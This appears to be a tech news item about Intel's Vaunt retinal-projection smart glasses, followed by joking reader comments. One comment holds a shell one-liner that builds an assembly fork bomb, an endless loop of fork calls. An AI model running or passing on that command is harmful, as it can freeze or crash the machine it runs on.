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A Look at Vaunt, Intel's Smart Glasses That Use Retinal Projection To Put a Display in Your Eyeball (theverge.com)
Chipmaker Intel is eyeing the smart glasses market, too. The Verge was invited to the company's lab where it got to play with Vaunt, a prototype of the company's smart glasses. The Vaunt looks very much like a normal pair of glasses, and uses retinal projection to put a display in your eyeball. The Verge: The most important parts of Intel's new Vaunt smart glasses are the pieces that were left out. There is no camera to creep people out, no button to push, no gesture area to swipe, no glowing LCD screen, no weird arm floating in front of the lens, no speaker, and no microphone (for now). From the outside, the Vaunt glasses look just like eyeglasses. When you're wearing them, you see a stream of information on what looks like a screen -- but it's actually being projected onto your retina.
First blindness lawsuit filed in 3.... 2... 1...
They can tell where your vision is directed and automatically bring up search engine results using advanced machine learning. The only problem is this predictive execution can occur across protection domains, which means its vulnerable to Meltdown attacks that would allow someone to read your inner thoughts every time you stare at a cup of coffee.
This Internet thing sends electric mail? I can already send mail at the post office. Sounds pretty useless to me.
This is a good idea. There is no reason you should be wary about projecting a stream of light on your retina. Just remember to run a screensaver, otherwise you will have the "Intel Inside" logo forever burned into your vision.
If I am a mechanic working on an engine I would rather see the manual projected directly on my eye than having to take a break to walk away to refer to a manual sitting on a desk. Every minute I am not actively working on the engine means lost revenue. And if revenue is lost, the executives might have to settle with a smaller yacht then they deserve. We should aim for 100% productivity 24 hours a day, 7 days a week.
Glasses+gaze detection+deepfake = X-Ray Specs
Childhood dreams: realised!
"Encyclopedia" is to "Wikipedia" what "Library" is to "Some people at a bus stop"
Didn't IBM abandon their tech that projected stuff onto your eyeballs back in the 90s because it ended up damaging your eyes?
Yes, a perfectly valid use case — for any "blue collar" worker, whose hands may legitimately be dirty during work. Whoever he works for.
And then your inner Che Guevara tilted your hand and you went on an anti-Capitalism rant.
And a completely misguided rant it is, because auto-repair shops in the US are overwhelmingly privately owned. With the exception of a few franchises (like Midas or Meineke) — and even those are usually owned by the franchisee — there is no CEO to speak of.
I don't see, where the "27/7" comes from, but we certainly should aim for being as productive as possible while we are working. If a simple electronic gizmo can help it — marvelous.
In Soviet Washington the swamp drains you.
Microsoft used to be alone in throwing good money after bad.
Really? You don't remember the .com bubble and the subsequent collapse of thousands of idiotic startups which never had a chance of being profitable despite VCs throwing good money at them? Or do you think Microsoft somehow was behind the funding of all those things?
It'd be good for turn by turn directions.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
"Great, now I can get text messages sent directly to my eye! Seems fairly useless for anything more sophisticated than that, though."
You young whippersnappers. We played space quest on a CGA cards on 160*100 16 color mode and we liked it.
Found it. Apple has a patent application in 2009 and Samsung has one in 2015 to add a pixel into the LED pixels that captures light. It is one way they are doing fingerprint reader in the screen approaches.
So keep your eyes out they have been working g on tech like this for 9 years plus.
i thought once I was found, but it was only a dream.
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"No fear. No envy. No meanness." Liam Clancy
I'd also like to see the long term safety impact of wearing the glasses before being an adopter.
Yeah...I got that laser surgery for my eyes. Who knew that 20 years later, your eyeballs fall out?
Obviously you're joking, but Lasik has turned out to be less successful than was expected early on. A lot of people do have very bad side-effects from Lasik. My sister-in-law is one of them. Side effects are bad enough that my wife is happy she never got it done. (coming from same gene pool and likely would have similar reactions).
"That's the way to do it" - Punch